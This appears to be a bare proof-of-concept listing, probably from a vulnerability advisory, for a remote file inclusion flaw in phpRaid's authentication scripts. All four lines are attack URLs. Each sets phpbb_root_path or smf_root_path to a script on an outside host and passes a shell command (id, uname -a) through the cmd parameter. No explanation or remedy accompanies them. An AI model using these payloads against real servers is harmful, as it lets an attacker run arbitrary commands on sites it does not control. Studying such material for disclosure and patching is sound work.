http://www.example.com/[phpraidpath]/auth/auth.php?phpbb_root_path=http://www.example2.com/x.txt?&cmd=id
http://www.example.com/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=http://www.example2.com/x.txt?&cmd=uname -a
http://www.example.com/[phpraidpath]/auth/auth.php?smf_root_path=http://www.example2.com/x.txt?&cmd=id
http://www.example.com/[phpraidpath]/auth/auth_SMF/smf_root_path=http://www.example2.com/x.txt?&cmd=uname -a